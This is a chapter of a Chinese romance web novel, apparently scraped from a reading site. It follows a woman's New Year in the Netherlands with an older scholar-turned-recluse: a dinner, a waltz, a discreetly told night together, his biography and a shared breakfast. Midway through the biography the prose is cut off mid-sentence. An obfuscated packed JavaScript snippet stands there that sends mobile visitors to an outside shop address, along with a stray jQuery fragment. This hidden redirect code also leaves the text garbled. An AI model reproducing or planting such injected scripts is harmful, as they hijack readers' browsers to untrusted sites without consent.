十五
体态柔了，人也跟着静了。
唇亦是同色。
长发尽数挽起，松松地在脑后盘成一个法式低髻，额侧留下细碎的几缕，优雅，慵懒。
烛火轻晃，酒、花、他。
相对落座，拿起刀叉，先尝了一小块牛排，她微微点头，是她喜欢的火候，嫩而不散，不柴不腻，八分熟刚刚好。酒液经过时间醒开，果香在空气里漫开，沉而不烈。
他抬杯，目光落在她眼底：“新年快乐！”
她颊边含着红晕，举杯：“新年快乐。”
角落里的音响慢悠悠漾开旋律，吉他的调子轻柔舒缓，女歌手吐字却密如急雨。不梦调成慢倍速，让歌喉变为娓娓道来，音线拉长，像溪流缓缓凿琢石礁，漫过光阴，留下刻痕。
“Onmeditquenosviesnevalentpasgrand-chose（有人对我说，我们的生命其实不算什么）
Ellespassentenuninstantcommefanentlesroses（她脆弱无常，如同玫瑰瞬间凋零）
Onmeditqueletempsquiglisseestunsalaud（有人对我说，时间飞逝像个混蛋）
Quedenoschagrins,ils'enfaitdesmanteaux（它用我们的忧伤织就了太多衣裳）......”
这是不梦在碟片的海洋里选了一个小时的手笔，是一首法语香颂老歌《Quelqu'unm'adit》。
有人告诉我。
她大学辅修了两门外语，法语和俄语。
“跳一支舞。”他们异口同声。
如斯良辰，如斯音乐，不舞，岂不辜负？
推开椅子，他绕到她身侧，微微躬身，左手背后，右手前伸，做了个标准的邀舞手势。
不梦将手递给他。
温软掌心，合入骨节分明的另一个，相扣，交叠。他的另一只停于她的腰侧，步履轻旋，随着律动，跳起了慢华尔兹。
她并不熟练，他节奏柔缓，从容带着她，一步，一旋，一落，稳稳托住她所有生涩。
她终是抬眸，放肆地望着他的眼睛，屏住呼吸。
他的瞳仁里映着一个女孩，不再是青涩、自卑、执拗，而今成熟、明媚、美丽、绽放。
音乐循环。
“......C'étaittarddanslanuit
夜已经很深了
J'entendsencorelavoix
我依然听到声音”
“......Ilvousaime,c'estsecret”
.
嘘，这是个秘密。
曲终，舞停。
掌心却没有分开。
她有些不胜酒力，软软地伏在那面胸膛，声音微有哽噎：“我平生，只在18岁那年，任性过一次。我想，再任性一次，只这一夜。”
克制的太久，总会溃一次。
就像生物学里恒定行进的细胞增殖。
日复一日，分裂，代谢，沿着既定的周期平稳游走，每一次复制，都力求精准，每一次生长，都克制收敛，活得理性，本分，泾渭分明。
可再稳定的细胞谱系，也终会迎来一次良性变异。
是长久紧绷后的，一次柔软偏移。
无害，安分，只属于自己。
就是这样。
他静立良久，将她揽住，动作轻得像怕碰碎一场梦。
烛火跳了最后一下，彻底融进夜色。廊下的灯笼暖光隔着玻璃，漫进屋内，将两人的身影揉成一团。
裙摆垂落的折痕被轻轻抚平，法式低髻垂落散开，骨节分明的手指一缕一缕地摩挲。
她被托起，像一片摇曳的落叶，乘风飘浮，径直坠入蓬松的云层里。
有一只浆红色的蝶脱离了她，抛飞半空，翩翩落入地毯。
肌肤贴着绒软的云絮，触之生暖，滑腻似玉。从足尖到锁骨，如呵护一件旷世珍品，清风般拂拭，小腿下端有个多出来的疤痕，那里停了一瞬。
窗外是西欧的深冬，寒雾漫过窗棂，风雪隔在千里之外，很远，很静，只剩心跳声。
落叶最后飘进了一片汪洋，浮在被暖阳晒透的海面上，随着浪花的节奏，游弋，起落。
模糊视野里，依稀是木制天花板，灯是嵌入式射灯，光线被柔光罩滤成一团浑浊光晕，忽明忽暗。
“砚之、砚之......”咽喉失了音，唇语不停地呢喃着。
这是他的名字。
身上很烫很轻，逐渐挣脱地心引力，慢慢向天空攀升、飞舞。
她不担心摔疼，身后有片海承接着她。
远处教堂的钟声撞破寂静，沉沉地，敲了十二下。
旧年焚尽。
新年，如约而至。
窗外又飘起了雪花。
........
................
一个人可以学识渊博到什么地步？
不梦少时第一次走进那个书房，半晌没说出话来。
偌大的空间，四面皆是落地书墙，从地到顶，密密排布，层层叠叠，形列齐整。横跨文史、哲学、艺术、风物，古今兼收，中西分列。
万卷沉藏，尽皆不动声色地韫于眉峰眼角。
一个人可以优秀到何种地步？
她遇到他，才懂了。
他生于贫困县、贫困乡，一个四面环山合围，裹得与世隔绝的小山村。他曾开车带不梦回去扫墓，那里的山，高得遮天蔽日，连日出月落的完整轮廓都看不全，比不梦老家的山还要高。家家户户几亩薄田里刨食，九十年代中期才通电通车。
他那早已作古的父母皆出身赤贫，旧社会世代佃农。照片里，母亲还裹着小脚。他行九，是老来的幺子。
他没有后世孩子那般五彩斑斓的童年，没有幼儿班，没有兴趣班，更无启蒙教导。七岁之前，他的世界是割草、担水、拾粪、跟着村里的马倌放牧挣工分。
唯一认得的字，是村口土墙上面目模糊的红色标语。
无书，无物，无倚。
土里生，风里长，像山坳里的野草，全凭强劲的根脉扎于壤。
世人爱把天资分个三六九等：学渣，学弱，学霸。
在这之上，还有一种人。
——学神。
八岁入学，便像是被谁开了天眼。
知识于他，如水归海，如鸟投林。旁人需得老师反复苦讲的功夫，他一遍便通了。旁人死记硬背的晦涩古文，他过目便烙在脑子里。旁人还在苦思题干、揣摩题面，他的胸中已列出公式、路径、分界、取舍。
不是不努力，是努力的效率不在一个维度。
秀竹生于石缝，无沃土滋养，无雨露偏爱，顶着山石重压，一路拔萃，一路破局。
村小，乡初中，县高中。乡联考、县统考，次次榜首，一班一个脚印的阶梯，他跳跃着攀登。
八十年代末的高考千军万马过独木桥，他从大山深处杀出重围，摘得全省状元。
十六岁，一身洗得发白的中山服，脚下踩着手工布鞋，踏进y大校门。
大学，他像一块干涸的海绵被扔进大海。
物理系的课不够读，他就去旁听化学系、哲学系、中文系。教授们很快发现，这个从山里来的学生，不是来上课的，是来“收”知识的。别人要花一个月啃的砖头，他两个星期翻完，还能指出其中两处论证瑕疵。
直博，是院里最年轻的那一批。
此后一路深耕，远赴海外访学三年。回国后，他进了一所顶尖大学，站上三尺讲台，同时就聘于某科学研究所。二十八岁，便成圈内最年轻研究员，学科带头人。
他的研究方向是凝聚态物理与复杂系统理论，磁性材料方向，加入过国家重点项目，多篇研究论文见诸于《PRL》（物理评论快报)、《NaturePhysics》(自然?物理)等国际期刊。他开设的讲座贯通物理学与人类文明，主科学思想史，从来座无虚席。
但他没能在心爱的学术圈待一辈子。
八年教师生涯，一纸调令，以学术骨干身份特引任用，起点便已是处级。
体制内浮沉，他的光芒依旧闪耀。他处事和顺，待人谦逊，知分寸，懂得失，行事有度，一路至教育口厅局正职。秘书、司机、会议、文件，日子被切成规整的方块。
四十二岁那年，他忽一日辞去实职。
三年期限过后，他转身下海。
凭多年积累的视野、声望与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603395|205448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人脉，几年时间，便在进出口贸易领域攒下不菲身家。
岁至天命，阅尽浮沉，看透繁华，他决然抽身，大隐于野。从此，笔、墨、纸、砚，茶、书、风、月。
身后，只留下一个“通才”的传奇。
不梦和他，就是在他去职的初年相识的。彼时她在读高一，他刚脱下行政服，赋闲隐居在小县城的别墅。那天，他走进病房，穿着板正的白衬衣，儒雅干净。
后来领着她走进书房，站在落地书墙前，她目瞪口呆。
他只是站在她身后，没有说话。
过了很久，她回过头，心跳快得不像话，声音却压得很平：“这得读多少年？”
他想了想，答：“一辈子。”
后来她才知道，那些书他大都翻过。不止翻过，很多本的书页间还夹着便签，密密麻麻的小楷，写的是批注、疑问、旁证。
书墙最里面那一排，是他少年时读过的旧书，书脊都磨毛了，边角卷起，纸页泛黄。他舍不得扔。
有一本《史记》，扉页上用铅笔写着一行小字：十二岁，第一遍读完。后面跟了十几个日期，从十二岁到三十五岁，几乎每两三年便添一个年份。最后一次，写的是：四十二岁，第十三遍。
书，是他的第二生命。
现今，他带的博士生中多人已成为高校研究员、副教授。
这些年，他居无定处，或栖于故土，或隐于荒岑人稀，或落于江南临水闲堂，或寄于他国异乡。
他不囿一城。
走到哪里，屋便筑到哪里。
行囊极简，最重唯书。
一路迁徙，辗转浮沉。旁人随身带物，带财，带烟火。
他只带万卷。
一本不落，一册不舍。
***
不梦的年假，掐头去尾不过短短几日。
二十九踏出国门，至初四便算终了。回程路途辗转，飞机就要耗上两日，公司初七准时点卯，她初五那日就必须登机返程。
从除夕到初四，这五日于她而言，分明是从命运手里偷来的光阴，攥在掌心都怕化了。
大年初一过去，初二这日，天尚未破晓，窗外还浸在晦涩的浓雾里。
钟砚之已起身。他数十年如一日的严苛自律，是刻进骨血里的秩序，晨练、饮食、起居，靡日森然。
每日两小时慢跑，沿着屋外河道，风雨无阻。
不梦将他的习惯记得比什么都牢，今日也特意提早起身，轻手轻脚跟了上去。
两人俱是一身纯白运动服，款式相近，远远望去，竟像成套的情侣衣。
她从身后快步跟上，悄悄数着他的步调，一步，两步......
听见脚步声，钟砚之回头，眼底瞬间漾开一层笑意，原本稳健轻快的步调刻意放缓，等着她并肩。
脚步渐渐同频，呼吸相融，河风吹起额前碎发，一路无言，却比千言万语更妥帖。
那一夜后，有些东西，已在无声里变了。
晨光将两人的影子拉得很长，交织在一起，又很快被下一个转弯抛在身后。
回到别墅，外国女佣早已备好食材。
他怕她一时口味不惯，遂挽袖，亲自下厨。
荷兰的房子密封性太好，做中式爆炒，很容易触发烟雾报警器。
他别墅的厨房有一套缜密的排烟系统，那是实验室级定制的工业静音净烟系统。灶台上方看似简约的窄边金属排烟罩，离心、降噪、吸附、催化、分解，全程静音到几乎听不见运转声。
不梦也挽起衣袖，系上围裙，安安静静站在他身侧打下手，摘菜，切菜。
西欧的蔬菜跟国内大不相同，多是冰冷规整的预包装，极少见到像那样绿油油、带露水的鲜蔬。西兰花、花菜、胡萝卜、黄瓜、罗马生菜、卷心菜，不过这几样。质地硬，且味道极淡，清灼出来，带着一丝土腥气或青草气。连草莓都能吃出寡淡的萝卜味，怪不得他要亲自到三十多公里外的亚洲进口超市去挑。
到了国外才知道，中国的食材，简直丰富到令人发指。
两人肩并肩立在料理台前，他炒，她配，刀勺轻响，烟火气无声漫开。
外头两个女佣远远望着，压低声音用荷兰语交谈：“Zietu,krijgtdeheerbinnenkorteenmevrouw?”